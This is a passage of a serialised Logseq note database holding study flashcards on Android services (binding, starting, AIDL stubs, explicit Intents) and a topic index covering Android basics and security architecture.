bar);\\n}\\n```logseq____",536870916]],[logseq____"^15logseq____",[279,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[279,logseq____"^Flogseq____",272,536870916]],[logseq____"^15logseq____",[279,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[279,logseq____"^Vlogseq____",272,536870916]],[logseq____"^15logseq____",[279,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[279,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[279,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[279,logseq____"^;logseq____",logseq____"~u67b83fac-648b-4732-908f-d606fea3e7felogseq____",536870916]],[logseq____"^15logseq____",[280,logseq____"^Qlogseq____",logseq____"## Client binds to local servicelogseq____",536870916]],[logseq____"^15logseq____",[280,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[280,logseq____"^Flogseq____",293,536870916]],[logseq____"^15logseq____",[280,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[280,logseq____"^Vlogseq____",278,536870916]],[logseq____"^15logseq____",[280,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[280,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[280,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[280,logseq____"^;logseq____",logseq____"~u67b83fac-491d-4912-803e-1426608d12e6logseq____",536870916]],[logseq____"^15logseq____",[281,logseq____"^Qlogseq____",logseq____"~```java\\n// Auto-generated by AIDL\\npublic class MyService extends Service {\\n // ...\\n \\n @Override\\n public IBinder onBind(Intent intent) {\\n return mBinder;\\n }\\n \\n private final MyService.Stub mBinder = new MyService.Stub() {\\n public int foo(String bar) {\\n return 42;\\n };\\n }\\n \\n // ...\\n}\\n```logseq____",536870916]],[logseq____"^15logseq____",[281,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[281,logseq____"^Flogseq____",279,536870916]],[logseq____"^15logseq____",[281,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[281,logseq____"^Vlogseq____",272,536870916]],[logseq____"^15logseq____",[281,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[281,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[281,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[281,logseq____"^;logseq____",logseq____"~u67b83fac-147d-41a2-a12b-2cff324ee7b6logseq____",536870916]],[logseq____"^15logseq____",[282,logseq____"^Qlogseq____",logseq____"### Examplelogseq____",536870916]],[logseq____"^15logseq____",[282,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[282,logseq____"^Flogseq____",292,536870916]],[logseq____"^15logseq____",[282,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[282,logseq____"^Vlogseq____",283,536870916]],[logseq____"^15logseq____",[282,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[282,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[282,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[282,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536870916]],[logseq____"^15logseq____",[282,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[282,logseq____"^;logseq____",logseq____"~u67b83fac-5589-4937-b28f-5c457c510cc8logseq____",536870916]],[logseq____"^15logseq____",[283,logseq____"^Qlogseq____",logseq____"## Started by client #card #android-basicslogseq____",536870916]],[logseq____"^15logseq____",[283,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[283,logseq____"^Flogseq____",268,536870916]],[logseq____"^15logseq____",[283,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[283,logseq____"^Vlogseq____",278,536870916]],[logseq____"^15logseq____",[283,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[283,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[283,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[283,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[283,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[283,logseq____"^Hlogseq____",2,536870916]],[logseq____"^15logseq____",[283,logseq____"^Hlogseq____",24,536870916]],[logseq____"^15logseq____",[283,logseq____"^;logseq____",logseq____"~u67b83fac-df76-44e5-a7fb-93e17320321dlogseq____",536870916]],[logseq____"^15logseq____",[284,logseq____"^Qlogseq____",logseq____"~```java\\npublic class HelloService extends Service {\\n // implement stuff ...\\n \\n @Override\\n public int onStartCommand(Intent intent, int flags, int startId) {\\n // Handle call ...\\n \\n return START_NOT_STICKY;\\n }\\n}\\n```logseq____",536870916]],[logseq____"^15logseq____",[284,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[284,logseq____"^Flogseq____",282,536870916]],[logseq____"^15logseq____",[284,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[284,logseq____"^Vlogseq____",282,536870916]],[logseq____"^15logseq____",[284,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[284,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[284,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[284,logseq____"^;logseq____",logseq____"~u67b83fac-7dd2-4085-9145-eceb5223bf29logseq____",536870916]],[logseq____"^15logseq____",[285,logseq____"^Qlogseq____",logseq____"~`bindService` calls the `onBind` functionlogseq____",536870916]],[logseq____"^15logseq____",[285,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[285,logseq____"^Flogseq____",293,536870916]],[logseq____"^15logseq____",[285,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[285,logseq____"^Vlogseq____",293,536870916]],[logseq____"^15logseq____",[285,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[285,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[285,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[285,logseq____"^;logseq____",logseq____"~u67b83fac-45f3-473e-948a-959769230c4clogseq____",536870916]],[logseq____"^15logseq____",[286,logseq____"^Qlogseq____",logseq____"~`startService` calls the `onStartCommand` functionlogseq____",536870916]],[logseq____"^15logseq____",[286,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[286,logseq____"^Flogseq____",283,536870916]],[logseq____"^15logseq____",[286,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[286,logseq____"^Vlogseq____",283,536870916]],[logseq____"^15logseq____",[286,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[286,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[286,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[286,logseq____"^;logseq____",logseq____"~u67b83fac-7c9a-4340-9886-7b59e74e7a56logseq____",536870916]],[logseq____"^15logseq____",[287,logseq____"^Qlogseq____",logseq____"Once all services unbound, the servicelogseq____'s `onUnbind` function is calledlogseq____",536870916]],[logseq____"^15logseq____",[287,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[287,logseq____"^Flogseq____",288,536870916]],[logseq____"^15logseq____",[287,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[287,logseq____"^Vlogseq____",293,536870916]],[logseq____"^15logseq____",[287,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[287,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[287,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[287,logseq____"^;logseq____",logseq____"~u67b83fac-ade9-459c-9052-ecdcda771227logseq____",536870916]],[logseq____"^15logseq____",[288,logseq____"^Qlogseq____",logseq____"Service is stopped implicitly after all clients called `unbindService`logseq____",536870916]],[logseq____"^15logseq____",[288,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[288,logseq____"^Flogseq____",285,536870916]],[logseq____"^15logseq____",[288,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[288,logseq____"^Vlogseq____",293,536870916]],[logseq____"^15logseq____",[288,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[288,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[288,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[288,logseq____"^;logseq____",logseq____"~u67b83fac-7ed9-4694-9228-4ba4e9aadfaelogseq____",536870916]],[logseq____"^15logseq____",[289,logseq____"^Qlogseq____",logseq____"This example requires a fully explicit [Intent]([[Intent Messages]]), i.e., use the component namelogseq____",536870916]],[logseq____"^15logseq____",[289,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[289,logseq____"^Flogseq____",290,536870916]],[logseq____"^15logseq____",[289,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[289,logseq____"^Vlogseq____",282,536870916]],[logseq____"^15logseq____",[289,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[289,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[289,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[289,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[289,logseq____"^Hlogseq____",75,536870916]],[logseq____"^15logseq____",[289,logseq____"^;logseq____",logseq____"~u67b83fac-5518-4ffd-a75d-fd1da3ca0766logseq____",536870916]],[logseq____"^15logseq____",[290,logseq____"^Qlogseq____",logseq____"~```java\\nIntent intent = new Intent(this, HelloService.class);\\nstartService(intent);\\n```logseq____",536870916]],[logseq____"^15logseq____",[290,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[290,logseq____"^Flogseq____",284,536870916]],[logseq____"^15logseq____",[290,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[290,logseq____"^Vlogseq____",282,536870916]],[logseq____"^15logseq____",[290,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[290,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[290,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[290,logseq____"^;logseq____",logseq____"~u67b83fac-bdd0-4555-9edf-eeeb6876f2d7logseq____",536870916]],[logseq____"^15logseq____",[291,logseq____"^Qlogseq____",logseq____"{{renderer excalidraw, excalidraw-2024-10-22-15-59-19}}logseq____",536870916]],[logseq____"^15logseq____",[291,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[291,logseq____"^Flogseq____",287,536870916]],[logseq____"^15logseq____",[291,logseq____"^Slogseq____",294,536870916]],[logseq____"^15logseq____",[291,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[291,logseq____"^Vlogseq____",293,536870916]],[logseq____"^15logseq____",[291,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[291,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[291,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[291,logseq____"^;logseq____",logseq____"~u67b83fac-422e-4dbb-aa2d-ad21dc1f9389logseq____",536870916]],[logseq____"^15logseq____",[292,logseq____"^Qlogseq____",logseq____"The service is then explicitly stopped (either by the client or itself)logseq____",536870916]],[logseq____"^15logseq____",[292,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[292,logseq____"^Flogseq____",286,536870916]],[logseq____"^15logseq____",[292,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[292,logseq____"^Vlogseq____",283,536870916]],[logseq____"^15logseq____",[292,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[292,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[292,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[292,logseq____"^;logseq____",logseq____"~u67b83fac-6bd8-44c7-8242-c3b438887a64logseq____",536870916]],[logseq____"^15logseq____",[293,logseq____"^Qlogseq____",logseq____"## Client binds to remote service #card #android-basicslogseq____",536870916]],[logseq____"^15logseq____",[293,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[293,logseq____"^Flogseq____",283,536870916]],[logseq____"^15logseq____",[293,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[293,logseq____"^Vlogseq____",278,536870916]],[logseq____"^15logseq____",[293,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[293,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[293,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[293,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[293,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[293,logseq____"^Hlogseq____",2,536870916]],[logseq____"^15logseq____",[293,logseq____"^Hlogseq____",24,536870916]],[logseq____"^15logseq____",[293,logseq____"^;logseq____",logseq____"~u67b83fac-7e84-4110-aabe-97aa0810d781logseq____",536870916]],[logseq____"^15logseq____",[294,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"~:logseq.macro-namelogseq____",logseq____"rendererlogseq____",logseq____"~:logseq.macro-argumentslogseq____",[logseq____"excalidrawlogseq____",logseq____"excalidraw-2024-10-22-15-59-19logseq____"]],536870916]],[logseq____"^15logseq____",[294,logseq____"^Wlogseq____",logseq____"macrologseq____",536870916]],[logseq____"^15logseq____",[294,logseq____"^Tlogseq____",logseq____"renderer excalidraw excalidraw-2024-10-22-15-59-19logseq____",536870916]],[logseq____"^15logseq____",[296,logseq____"^Klogseq____",1740128172081,536870916]],[logseq____"^15logseq____",[296,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[296,logseq____"^Ylogseq____",logseq____"topicslogseq____",536870916]],[logseq____"^15logseq____",[296,logseq____"^11logseq____",logseq____"Topicslogseq____",536870916]],[logseq____"^15logseq____",[296,logseq____"^Blogseq____",1740129304099,536871371]],[logseq____"^15logseq____",[296,logseq____"^;logseq____",logseq____"~u67b983c6-dfe5-465b-a4e6-03e345efc12flogseq____",536873220]],[logseq____"^15logseq____",[297,logseq____"^Qlogseq____",logseq____"## [[Service Components]]logseq____",536870916]],[logseq____"^15logseq____",[297,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[297,logseq____"^Flogseq____",308,536870916]],[logseq____"^15logseq____",[297,logseq____"^Xlogseq____",296,536870916]],[logseq____"^15logseq____",[297,logseq____"^Vlogseq____",300,536870916]],[logseq____"^15logseq____",[297,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[297,logseq____"^Ulogseq____",296,536870916]],[logseq____"^15logseq____",[297,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873220]],[logseq____"^15logseq____",[297,logseq____"^Jlogseq____",[],536873220]],[logseq____"^15logseq____",[297,logseq____"^Hlogseq____",26,536873220]],[logseq____"^15logseq____",[297,logseq____"^;logseq____",logseq____"~u67b83fac-2a26-4fbe-ac48-8fb55ba8d03dlogseq____",536870916]],[logseq____"^15logseq____",[298,logseq____"^Qlogseq____",logseq____"## [[Content Provider]]logseq____",536873220]],[logseq____"^15logseq____",[298,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[298,logseq____"^Flogseq____",297,536870916]],[logseq____"^15logseq____",[298,logseq____"^Xlogseq____",296,536870916]],[logseq____"^15logseq____",[298,logseq____"^Vlogseq____",300,536870916]],[logseq____"^15logseq____",[298,logseq____"^Ulogseq____",25,536870916]],[logseq____"^15logseq____",[298,logseq____"^Ulogseq____",296,536870916]],[logseq____"^15logseq____",[298,logseq____"^Ulogseq____",412,536873220]],[logseq____"^15logseq____",[298,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873220]],[logseq____"^15logseq____",[298,logseq____"^Jlogseq____",[],536873220]],[logseq____"^15logseq____",[298,logseq____"^Hlogseq____",412,536873220]],[logseq____"^15logseq____",[298,logseq____"^;logseq____",logseq____"~u67b83fac-e268-4165-8b60-9e5e1d830937logseq____",536870916]],[logseq____"^15logseq____",[299,logseq____"^Qlogseq____",logseq____"# Topic 2 - Security Architecturelogseq____",536870916]],[logseq____"^15logseq____",[299,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[299,logseq____"^Flogseq____",300,536870916]],[logseq____"^15logseq____",[299,logseq____"^Xlogseq____",296,536870916]],[logseq____"^15logseq____",[299,logseq____"^Vlogseq____",296,536870916]],[logseq____"^15logseq____",[299,logseq____"^Ulogseq____",296,536870916]],[logseq____"^15logseq____",[299,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",1],536873220]],[logseq____"^15logseq____",[299,logseq____"^Jlogseq____",[],536873220]],[logseq____"^15logseq____",[299,logseq____"^;logseq____",logseq____"~u67b83fac-c8b5-42d5-9105-944211a77bdelogseq____",536870916]],[logseq____"^15logseq____",[300,logseq____"^Qlogseq____",logseq____"# Topic 1 - Android Basicslogseq____",536870916]],[logseq____"^15logseq____",[300,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[300,logseq____"^Flogseq____",296,536870916]],[logseq____"^15logseq____",[300,logseq____"^Xlogseq____",296,536870916]],[logseq____"^15logseq____",[300,logseq____"^Vlogseq____",296,536870916]],[logseq____"^15logseq____",[300,logseq____"^Ulogseq____",296,536870916]],[logseq____"^15logseq____",[300,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",1],536873220]],[logseq____"^15logseq____",[300,logseq____"^Jlogseq____",[],536873220]],[logseq____"^15logseq____",[300,logseq____"^;logseq____",logseq____"~u67b83fac-03ca-4ffd-8ea2-9e593b8c8bfelogseq____",536870916]],[logseq____"^15logseq____",[301,logseq____"^Qlogseq____",logseq____"## [[Application Manifest]]logseq____",536870916]],[logseq____"^15logseq____",[301,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[301,logseq____"^Flogseq____",302,536870916]],[logseq____"^15logseq____",[301,logseq____"^Xlogseq____",296,536870916]],[logseq____"^15logseq____",[301,logseq____"^Vlogseq____",300,536870916]],[logseq____"^15logseq____",[301,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[301,logseq____"^Ulogseq____",296,536870916]],[logseq____"^15logseq____",[301,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873220]],[logseq____"^15logseq____",[301,logseq____"^Jlogseq____",[],536873220]],[logseq____"^15logseq____",[301,logseq____"^Hlogseq____",28,536873220]],[logseq____"^15logseq____",[301,logseq____"^;logseq____",logseq____"~u67b83fac-c7dd-41bd-b3d4-16c23e1babb2logseq____",536870916]],[logseq____"^15logseq____",[302,logseq____"^Qlogseq____",logseq____"## [[APK (Android Package)]]logseq____",536870916]],[logseq____"^15logseq____",[302,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[302,logseq____"^Flogseq____",300,536870916]],[logseq____"^15logseq____",[302,logseq____"^Xlogseq____",296,536870916]],[logseq____"^15logseq____",[302,logseq____"^Vlogseq____",300,536870916]],[logseq____"^15logseq____",[302,logseq____"^Ulogseq____",23,536870916]],[logseq____"^15logseq____",[302,logseq____"^Ulogseq____",296,536870916]],[logseq____"^15logseq____",[302,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873220]],[logseq____"^15logseq____",[302,logseq____"^Jlogseq____",[],536873220]],[logseq____"^15logseq____",[302,logseq____"^Hlogseq____",23,536873220]],[logseq____"^15logseq____",[302,logseq____"^;logseq____",logseq____"~u67b83fac-1296-438c-b461-56d977b4f387logseq____",536870916]],[logseq____"^15logseq____",[303,logseq____"^Qlogseq____",logseq____"## [[Activity]]logseq____",536873220]],[logseq____"^15logseq____",[303,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[303,logseq____"^Flogseq____",301,536870916]],[logseq____"^15logseq____",[303,logseq____"^Xlogseq____",296,536870916]],[logseq____"^15logseq____",[303,logseq____"^Vlogseq____",300,536870916]],[logseq____"^15logseq____",[303,logseq____"^Ulogseq____",27,536870916]],[logseq____"^15logseq____",[303,logseq____"^Ulogseq____",296,536870916]],[logseq____"^15logseq____",[303,logseq____"^Ulogseq____",411,536873220]],[logseq____"^15logseq____",[303,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873220]],[logseq____"^15logseq____",[303,logseq____"^Jlogseq____",[],536873220]],[logseq____"^15logseq____",[303,logseq____"^Hlogseq____",411,536873220]],[logseq____"^15logseq____",[303,logseq____"^;logseq____",logseq____"~u67b83fac-aa14-4f4d-a59b-30da57df2ba0logseq____",536870916]],[logseq____"^15logseq____",[304,logseq____"^Qlogseq____",logseq____"## [[Secure Architecture Principles]]logseq____",536870916]],[logseq____"^15logseq____",[304,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[304,logseq____"^Flogseq____",310,536870916]],[logseq____"^15logseq____",[304,logseq____"^Xlogseq____",296,536870916]],[logseq____"^15logseq____",[304,logseq____"^Vlogseq____",299,536870916]],[logseq____"^15logseq____",[304,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[304,logseq____"^Ulogseq____",296,536870916]],[logseq____"^15logseq____",[304,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873220]],[logseq____"^15logseq____",[304,logseq____"^Jlogseq____",[],536873220]],[logseq____"^15logseq____",[304,logseq____"^Hlogseq____",225,536873220]],[logseq____"^15logseq____",[304,logseq____"^;logseq____",logseq____"~u67b83fac-084b-4518-99b0-8dafbdf2bbf6logseq____",536870916]],[logseq____"^15logseq____",[306,logseq____"^Qlogseq____",logseq____"## [[Sandboxing]]logseq____",536870916]],[logseq____"^15logseq____",[306,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[306,logseq____"^Flogseq____",304,536870916]],[logseq____"^15logseq____",[306,logseq____"^Xlogseq____",296,536870916]],[logseq____"^15logseq____",[306,logseq____"^Vlogseq____",299,536870916]],[logseq____"^15logseq____",[306,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[306,logseq____"^Ulogseq____",296,536870916]],[logseq____"^15logseq____",[306,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873220]],[logseq____"^15logseq____",[306,logseq____"^Jlogseq____",[],536873220]],[logseq____"^15logseq____",[306,logseq____"^Hlogseq____",183,536873220]],[logseq____"^15logseq____",[306,logseq____"^;logseq____",logseq____"~u67b83fac-b6a3-4a4e-ab6e-d63d7f8f0319logseq____",536870916]],[logseq____"^15logseq____",[307,logseq____"^Qlogseq____",logseq____"## [[Access Control]]logseq____",536870916]],[logseq____"^15logseq____",[307,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[307,logseq____"^Flogseq____",306,536870916]],[logseq____"^15logseq____",[307,logseq____"^Xlogseq____",296,536870916]],[logseq____"^15logseq____",[307,logseq____"^Vlogseq____",299,536870916]],[logseq____"^15logseq____",[307,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[307,logseq____"^Ulogseq____",296,536870916]],[logseq____"^15logseq____",[307,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873220]],[logseq____"^15logseq____",[307,logseq____"^Jlogseq____",[],536873220]],[logseq____"^15logseq____",[307,logseq____"^Hlogseq____",37,536873220]],[logseq____"^15logseq____",[307,logseq____"^;logseq____",logseq____"~u67b83fac-8606-4fce-b5d0-73c52f7d9357logseq____",536870916]],[logseq____"^15logseq____",[308,logseq____"^Qlogseq____",logseq____"## [[Intent Messages]]logseq____",536870916]],[logseq____"^15logseq____",[308,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[308,logseq____"^Flogseq____",303,536870916]],[logseq____"^15logseq____",[308,logseq____"^Xlogseq____",296,536870916]],[logseq____"^15logseq____",[308,logseq____"^Vlogseq____",300,536870916]],[logseq____"^15logseq____",[308,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[308,logseq____"^Ulogseq____",296,536870916]],[logseq____"^15logseq____",[308,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873220]],[logseq____"^15logseq____",[308,logseq____"^Jlogseq____",[],536873220]],[logseq____"^15logseq____",[308,logseq____"^Hlogseq____",75,536873220]],[logseq____"^15logseq____",[308,logseq____"^;logseq____",logseq____"~u67b83fac-89cf-440d-8333-2b2cb0ff9f2clogseq____",536870916]],[logseq____"^15logseq____",[309,logseq____"^Qlogseq____",logseq____"## [[Permissions]]logseq____",536871371]],[logseq____"^15logseq____",[309,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[309,logseq____"^Flogseq____",307,536870916]],[logseq____"^15logseq____",[309,logseq____"^Xlogseq____",296,536870916]],[logseq____"^15logseq____",[309,logseq____"^Vlogseq____",299,536870916]],[logseq____"^15logseq____",[309,logseq____"^Ulogseq____",296,536871372]],[logseq____"^15logseq____",[309,logseq____"^Ulogseq____",354,536871372]],[logseq____"^15logseq____",[309,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873220]],[logseq____"^15logseq____",[309,logseq____"^Jlogseq____",[],536873220]],[logseq____"^15logseq____",[309,logseq____"^Hlogseq____",354,536873220]],[logseq____"^15logseq____",[309,logseq____"^;logseq____",logseq____"~u67b83fac-9314-4077-bdf3-410e449d7207logseq____",536870916]],[logseq____"^15logseq____",[310,logseq____"^Qlogseq____",logseq____"## [[Package Integrity and Authenticity]]logseq____",536870916]],[logseq____"^15logseq____",[310,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[310,logseq____"^Flogseq____",311,536870916]],[logseq____"^15logseq____",[310,logseq____"^Xlogseq____",296,536870916]],[logseq____"^15logseq____",[310,logseq____"^Vlogseq____",299,536870916]],[logseq____"^15logseq____",[310,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[310,logseq____"^Ulogseq____",296,536870916]],[logseq____"^15logseq____",[310,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873220]],[logseq____"^15logseq____",[310,logseq____"^Jlogseq____",[],536873220]],[logseq____"^15logseq____",[310,logseq____"^Hlogseq____",144,536873220]],[logseq____"^15logseq____",[310,logseq____"^;logseq____",logseq____"~u67b83fac-7095-4795-bf70-74b5a40c4b2elogseq____",536870916]],[logseq____"^15logseq____",[311,logseq____"^Qlogseq____",logseq____"## [[Security Considerations]]logseq____",536870916]],[logseq____"^15logseq____",[311,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[311,logseq____"^Flogseq____",299,536870916]],[logseq____"^15logseq____",[311,logseq____"^Xlogseq____",296,536870916]],[logseq____"^15logseq____",[311,logseq____"^Vlogseq____",299,536870916]],[logseq____"^15logseq____",[311,logseq____"^Ulogseq____",257,536870916]],[logseq____"^15logseq____",[311,logseq____"^Ulogseq____",296,536870916]],[logseq____"^15logseq____",[311,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873220]],[logseq____"^15logseq____",[311,logseq____"^Jlogseq____",[],536873220]],[logseq____"^15logseq____",[311,logseq____"^Hlogseq____",257,536873220]],[logseq____"^15logseq____",[311,logseq____"^;logseq____",logseq____"~u67b83fac-97d0-423b-bbe7-6d72c775ab7clogseq____",536870916]],[logseq____"^15logseq____",[314,logseq____"^Klogseq____",1740128172090,536870916]],[logseq____"^15logseq____",[314,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[314,logseq____"^Ylogseq____",logseq____"excalidraw-2024-10-22-15-58-29logseq____",536870916]],[logseq____"^15logseq____",[314,logseq____"^11logseq____",logseq____"excalidraw-2024-10-22-15-58-29logseq____",536870916]],[logseq____"^15logseq____",[314,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"~:excalidraw-pluginlogseq____",true],536870916]],[logseq____"^15logseq____",[314,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^1logseq____<logseq____",logseq____"truelogseq____"],536870916]],[logseq____"^15logseq____",[314,logseq____"^Blogseq____",1740128172090,536870916]],[logseq____"^15logseq____",[314,logseq____"^;logseq____",logseq____"~u67b83fac-1703-4982-832b-11d447cb863alogseq____",536870916]],[logseq____"^15logseq____",[315,logseq____"^Klogseq____",1740128172104,536870916]],[logseq____"^15logseq____",[315,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[315,logseq____"^Ylogseq____",logseq____"excalidraw-pluginlogseq____",536870916]],[logseq____"^15logseq____",[315,logseq____"^11logseq____",logseq____"excalidraw-pluginlogseq____",536870916]],[logseq____"^15logseq____",[315,logseq____"^Blogseq____",1740128172104,536870916]],[logseq____"^15logseq____",[315,logseq____"^;logseq____",logseq____"~u67b83fac-b44e-4cc0-a3c4-de3c662063a4logseq____",536870916]],[logseq____"^15logseq____",[316,logseq____"^Qlogseq____",logseq____"excalidraw-plugin:: 